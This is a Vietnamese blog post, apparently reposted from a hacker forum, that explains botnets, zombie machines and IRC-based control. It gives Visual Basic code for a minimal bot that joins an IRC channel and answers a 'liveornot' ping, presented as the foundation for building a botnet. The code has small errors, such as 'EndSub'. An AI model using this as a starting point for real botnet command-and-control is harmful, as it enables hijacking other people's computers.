Trao đổi với tôi

http://www.buidao.com

11/12/09

[Virus] Mạng BotNet Nền tảng và Cách tạo một con “Bot” cho mọi người, Nguồn: HVA

Botnet một cái tên nghe rất quen nhưng hầu như còn huyền bí với đa số dân CNTT Việt Nam

Để làm sáng tỏ về botnet và công nghệ tạo một bot hôm nay NoHat xin viết một tutorial về cách tạo một mạng botnet như là kim chỉ nam cho những người muốn hiểu rõ hơn về botnet.

I.Botnet là gì?

Botnet là một mạng gồm từ hàng trăm tới hàng triệu máy tính bị điều khiển hoàn toàn (theo thuật ngữ người ta gọi các máy tính này là Zombie tức các thây ma),chúng bị điều khiển để cùng làm một công việc gì đó theo mục đích của hacker điều khiển chúng vd: tải về cài đặt các chương trình quảng cáo, hay cùng đồng loạt tấn công một trang web nào đó thông qua kĩ thuật DDoS

II.Mạng BotNet đc tạo nên bởi gì ?


Nền tảng của BotNet là một chương trình máy tính đc thiết kế để liên lạc với hacker ,nhận lệnh và thực hiện lệnh của hacker, người ra gọi chương trình này là "Bot" (viết tắt từ robot).

III.Các con bot liên lạc với hacker bằng gì?

Kể từ những phiên bản đầu tiên các bot đã đc thiết kế để nhận lệnh thông qua các IRC server tức các máy chủ Internet Relay Chat một dạng máy chủ chạy dịch vụ chat công cộng (thường các máy chủ này là các máy chủ thuộc họ *nix ) để nhận đc lệnh từ hacker một cách nhanh nhất.

IV.Vậy các con bot đã dùng các server IRC như thế nào ?

Các máy chủ chạy dịch vụ IRC thường lắng nghe trên port 6667 ( một port cao ).Và các chương trình IRC server sử dụng một tập các chỉ thị gọi là lệnh IRC ( IRC commands )

Các bot thực hiện việc tạo một kết nối ( connection ) thông qua giao thức TCP/IP đến port 6667 của máy chủ IRC rồi sau đó dùng tập lệnh IRC để gửi và nhận các tin nhắn tới hacker.

V.Vậy các bot làm thế nào để có thể đc cài vào máy của người sử dụng bình thường ( Normal User ) ?

Các Bot đều có tính năng đầy đủ của một trojan và sự kết hợp nhuần nhuyễn từ virus vì vậy các con bot đều có thể tự lây lan thông qua các lỗ hổng của hệ điều hành và chiếm quyền điều khiển máy của "người dùng bình thường".Ngoài ra một số bot không đc tích hợp tính năng lây lan nên nó cần đc sự hộ tống của một virus ( đây chính là dạng lây lan phổ biến của các bot hiện nay )

VI.Cách tạo một con "Bot":

Với ví dụ này NoHat sẽ dùng ngôn ngữ lập trình Visual Basic để minh họa vì ngôn ngữ này đc nhiều người sử dụng nếu có thời gian NoHat sẽ post thêm bài viết về cách viết bot trên nền ngôn ngữ C++

Con bot này sẽ có tính năng cơ bản là kết nối tới server IRC và trả lời khi hacker hỏi "LiveOrNot"

1.Điều đầu tiên mà bạn phải học là tập lệnh IRC:

Tập lệnh IRC sẽ có sự khác biệt đôi chút khi nó chạy trên các chương trình quản lý IRC server khác nhau
CODE
USER là lệnh thiết lập tên thật cho bot khi nó vào IRC server

NICK là lệnh thiết lập nick name cho bot

JOIN là lệnh cho bot truy cập vào một "kênh" (channel),channel tương tự như một room chat vậy

PRIVMSG : là lệnh gửi tin nhắn tới hacker

Thứ tự các lệnh từ 1 tới 3 mà NoHat nêu chính là thứ tự các lệnh mà bạn phải gửi tới IRC server

2.Một số Sub chính cho bot:


Khai báo hằng và biến:

CODE
Const Server As String = "irc.datviet.net" 'tên channel
Const Port As Integer = 23 'port
Const Channel As String = "NoHat" 'Kênh mà bot sẽ chui vào
Dim Nick As String 'Nick của bot

Bạn tạo môt Form mới và kéo thả vào đó thành phần WinSock đặt thuộc tính name là ws

CODE
Private Sub Form_Load()
ws.Connect Server, Port 'Tạo một kết nối tới server IRC
Nick = "Tester" & LTrim(RTrim(Str(Int(Rnd * 100))))
End Sub


Sub thực hiện việc gời command sau khi kết nối hoàn thành

CODE
Private Sub ws_Connect()
Dim UserName, RealName As String
UserName = Nick
RealName = Nick
ws.SendData "USER " & UserName & " 0 * " & RealName & vbCrLf
ws.SendData "NICK " & Nick & vbCrLf
ws.SendData "JOIN " & Channel & vbCrLf
ws.SendData "PRIVMSG " & Channel & ":" & " Bot chao master" & vbCrLf
End Sub


Sub đáp trả khi bot nhận đc lệnh
CODE
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Dim Pos As Integer
Dim Master As String
ws.GetData strData
DoEvents



If InStr(strData, "liveornot") <> 0 Then
Pos = InStr(1, strData, "!")
Master = Mid(strData, 2, Pos - 2)
ws.SendData Replace(strData, "liveornot", "Live") & vbCrLf
ws.SendData "PRIVMSG " & Master & " " & Replace(strData, "liveornot", "Live") & vbCrLf
End If
EndSub


VII.Điều khiển bot thế nào ?

Để điều khiển bot bạn hãy cho chạy thử con bot trên để làm ví dụ
Sau đó bật một chương trình IRC Client nào đó ví dụ mIRC
Rồi kết nối vào máy server là irc.datviet.net với port 23 ( đáng nhẽ là port 6667 nhưng không hiểu sao đa phần các IRC server của Việt Nam lại dùng port 23 ?! ) với một nick tùy ý

gõ lệnh:

CODE
/JOIN NoHat (phải có dấu "/" vì mIRC .... bắt phải thế chứ IRC server không bắt thế đâu )

là bạn đã có mặt trong cùng channel với bot của bạn

sau đó hãy gõ lệnh:

CODE
LiveOrNot (chú ý viết hoa y chang nếu không con bot nó ngu ra mặt)


Con bot sẽ trả lời bạn rằng

CODE
Live

-------------------------------------------

Vậy là sau bài viết này NoHat đã đưa ra ánh sáng nền tảng của BotNet cho mọi người cùng tham khảo rồi đọc xong thấy hay thì cổ vũ khen một lời còn không thấy hay thì cũng không seo miễn là đừng có ...... là đc (IMG:http://www.hvaonline.net/hvaonline/images/smilies/85f758dd90f8f9d2587ecc9d55b16cf3.gif)

Chú Ý: Channel thì tùy ý bạn ,khi bạn JOIN vào một channel chưa tồn tại trên IRC server thì channel này sẽ tự đc tạo ngay tức thì.